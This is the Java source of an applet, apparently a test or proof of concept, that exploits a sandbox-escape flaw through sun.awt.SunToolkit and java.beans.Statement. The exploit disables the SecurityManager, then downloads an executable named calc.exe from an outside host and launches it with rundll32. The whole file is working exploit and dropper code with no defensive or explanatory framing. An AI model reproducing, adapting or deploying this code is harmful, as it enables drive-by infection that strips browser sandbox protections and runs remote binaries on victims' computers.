package com.test;

import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;
import java.io.File;
import java.io.IOException;
import java.net.*;
import java.io.*;

public class Gondvv extends Applet
{

    public Gondvv()
    {
    }

    public static void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }

    private static Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }

    private static void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }

       
       
        //And the road goes on and on...
    public void init()
    {
        /*try
        {
            disableSecurity();
            if ((new File("C:\\Users\\ETTI\\Desktop\\utorrent.exe")).exists()) {
                                Process p = Runtime.getRuntime().exec("rundll32 url.dll,FileProtocolHandler  C:\\Users\\ETTI\\Desktop\\utorrent.exe");
                                p.waitFor();
                        }
        }
        catch(Throwable localThrowable)
        {
            localThrowable.printStackTrace();
        }*/
                //Something goes here too
                try
                {
                disableSecurity();
        URL url = new URL("http://proxy07.com/calc.exe");
        url.openConnection();
        InputStream reader = url.openStream();
        FileOutputStream writer = new FileOutputStream("C:/Users/ETTI/Desktop/calc.exe");
        byte[] buffer = new byte[153600];
        int totalBytesRead = 0;
        int bytesRead = 0;
        while ((bytesRead = reader.read(buffer)) > 0)
        {  
           writer.write(buffer, 0, bytesRead);
           buffer = new byte[153600];
           totalBytesRead += bytesRead;
        }
        long endTime = System.currentTimeMillis();
        writer.close();
        reader.close();
                //Now open the file
                if ((new File("c:\\Users\\ETTI\\Desktop\\calc.exe")).exists()) {
 
                        Process p = Runtime
                           .getRuntime()
                           .exec("rundll32 url.dll,FileProtocolHandler c:\\Users\\ETTI\\Desktop\\calc.exe");
                        p.waitFor();
 
                }
                }
                catch(Throwable localThrowable)
                {
                localThrowable.printStackTrace();
                }
                //and it ends here
    }
}

